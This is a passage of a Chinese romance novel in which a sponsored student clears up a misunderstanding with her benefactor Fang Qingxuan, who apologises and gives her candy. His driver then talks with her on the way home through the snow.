祝恩慈眼波清清,直直地望他,随他的话,想到遥远的青山和她的母亲,虽有疑惑,但没打断,还是凝神听下去。 “我不望你成龙成凤,也不会时时点你,提醒你怎么艰难走到今天。学业要紧,这一点你比我更清楚,或许你有苦衷,或许受到诱惑,不小心闯进了那些不该去的地儿,不是你的错,但我有必要制止一回,从今往后,不要再去。” 他定定地用八个字收尾。谈不上生气,但语气是很凉的。 原来这件事情在他这里,已经到她误入歧途这么严重了。 祝恩慈哭笑不得地敛眸,又听他继续道—— “你叫我一声老师,我能传授的不多,总还是有些合适的道理能说一说,能让你接受,以免心术不定,久而久之,容易犯错。” 祝恩慈挑挑眉梢,说:“我喊您老师,您真的有为人师表的派头,有模有样。” 她这话不是有意刺他,但很难说没有讥诮的意思。 方清悬瞧她,察觉她短鬓的绒毛像少女逆鳞,眼神不怵他,直勾勾的。 他说:“让我管教,心里不痛快,生闷气?” 祝恩慈微笑:“我要是真的心里不痛快,您就不管我了?” 方清悬仍然直言:“生气了我向你道歉,理儿还是要说。” 他很正直、很有原则。祝恩慈这才交代:“不是生气,是冤枉了。” 方清悬一双风波不动的眼这才正儿八经地看过来,等她后话。 祝恩慈说:“不知道人家怎么传的话,我去那里不过是接同学,被方总好一顿冤枉,好像我路过就犯了错误,明明受害人,还要被一通道理劈头盖脸砸过来。” 方清悬闻言,嗓子眼儿里的话微微滞涩住,他稍作判断,目色里的凝重缓慢晕开。 片刻后,男人颔首认错:“是我失言。” 他音量低低,依附于耳,像无形的钩子,缠住她已然错乱的心弦。 祝恩慈撇撇嘴巴,没接他的茬儿,手里的动作是在整理已经井井有条的鞋袋。 耳边传来窸窣的声音,方清悬又从座位一侧提过来一只纸质的食品袋。 袋口一敞开,淌出扑鼻的香气来。 他买了一袋糖。 巴掌大小的纸袋被凌空提着,等她自然地伸出手掌托住,就水到渠成地成了讨好她的小礼物。 方清悬捏着袋口,由她托底,他仍然没有松手,只看着她,眼底总算是恢复了诚挚。 见她别扭不吱声,好像赌气的样子,方清悬在嗓眼里一叹,又重复一遍:“是我失言了,恩慈。” 他一句突如其来的恩慈,要将她哄好的急迫心迹,比这一袋糖更能往她的掌心压出沉甸甸的蜜来。 差点乱了阵脚,祝恩慈攒了攒手心兜住糖,找到支点,点头说:“您是好心。” 方清悬笑意微扬,桃花眼看人时自带深情意味:“我是好心,又冒犯了姑娘。” 祝恩慈那会儿想起的却是林岚围着他巧笑倩兮的模样。她在眼下深深领会,没有人会不沉迷于这样的男人。 祝恩慈咬了咬唇内的软肉,很快温淡地出了声:“姑娘原谅了。” 她掂了掂手里头的东西,不等他答,又问:“这也是给我的?” 方清悬:“是给小羽的。” 她赶忙往回推:“我才不跟小孩抢吃的。” 方清悬露出一点笑来,温柔至极地好似哄人;“她是小孩儿,你就不是了?” 恩慈不响。 他用修长双指将袋口抻开:“尝尝。” “这是什么糖?” “关东糖,是特产。” 方清悬说到这儿,顿了顿,神思好像飘远了些,目光放轻,等再把记忆扯回来,音色就柔和许多,他说,“小时候我母亲常做。” 祝恩慈红了耳梢,拿也不合适,不拿的话,人又在这儿瞅着,正等着她点评这口滋味儿似的。 她便不再扭捏,捡了一颗糖往嘴里塞。 热烘烘的甜味儿直冲口腔,很快塞满她温热的身子,祝恩慈摩挲了指尖的碎屑:“不好意思,车里不会有味道吧。” 方清悬不知她哪儿来这么多心思:“车是给人乘的,不是买来供着的,不用时时刻刻这么小心。” 祝恩慈只尝了一颗,又珍重地收好,说:“ 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“挨训了?”陈勉出声即问。 祝恩慈一愣,算吗?一点头:“是的吧。” “那些地儿就不是您该去的。” 祝恩慈又往嘴里含糖,问他:“那是什么人该去的?” 陈勉嘶了一声,是做思考,顺便从后视镜上下扫她一眼,也摆出一副管教的冷面:“什么人该去,你也不该去。” 祝恩慈不语,微笑颔首,装作听话。 陈勉说:“方先生这些年资助过三个学生,你是最大的。还有俩男孩儿,一个念了高中之后,偷了转到他家卡里的钱去打游戏,考大学指定是没戏了。” 祝恩慈倒是第一次知道,他还资助了旁人,问他:“方先生很生气吗?” “生气倒谈不上,他从不在意这些学生被培养得多么出色,但人品很重要。” 陈勉又瞄一眼恩慈,语重心长说道:“他不是训你,他是怕,所以护你。” 训与护,兴许难以辨别,也并非是对立关系。祝恩慈很懂得人情世故。 “谢谢您,好赖话我分得清。方先生是为我好。”她说。 想到刚才方清悬说妈妈给他寄东西的事儿,他隐晦地提起,也没说寄了什么,想也是些不值钱的果干吧。 祝恩慈又问道:“他有没有和您说我母亲。” “方总没有直接接触过你在那边的亲眷,你妈妈倒是跟我打过几回电话。” 她说知道,这些年的资助工作都是陈勉在交接。 “听您的话,方总还资助了别人读书,是吗?” 陈勉不避讳地和她聊一聊:“这几年他做了不少工作,比如修缮一些福利机构,修修寺庙,哪怕是赔本买卖,都折进去不少,其中一项就包括资助你们上学。” 祝恩慈不知道方清悬的出发点,神色里难免有些困惑,她懂得不好多问,陈勉也避重就轻地说:“方总心慈。” 祝恩慈很肯定这一点,重重一点头,“我知道。” 到这儿,话题就点到为止了。 祝恩慈咬一口关东糖,牙缝里滋出甜味儿,想是头一回听他说起了他的妈妈,纵使轻描淡写的一句话掠过,就让她不禁遥想那年看到的照片,十七孔桥上,立在风里那位温婉的女人。 那时候青山下了雨,如今京城漫天飞雪。 “到了,姑娘。” “多谢。”祝恩慈提着鞋与糖,把兜帽一盖,跟陈勉道别,钻进了白茫茫的雪光之中。